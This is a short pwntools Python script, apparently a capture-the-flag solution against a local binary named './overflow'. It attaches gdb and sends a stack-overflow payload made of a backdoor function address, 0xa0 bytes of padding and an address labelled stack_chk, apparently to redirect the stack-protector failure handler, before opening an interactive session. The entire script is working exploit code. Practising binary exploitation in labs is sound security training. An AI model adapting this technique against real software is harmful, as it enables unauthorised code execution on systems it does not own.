from pwn import *

p=process("./overflow")
backdoor = 0x4011d0
stack_chk = 0x404018

p.recvuntil(b"?\n")
gdb.attach(p,"b*0x40132c")
pause()
payload = p64(backdoor) + b'a'*0xa0 + p64(stack_chk)
p.sendline(payload)

p.interactive()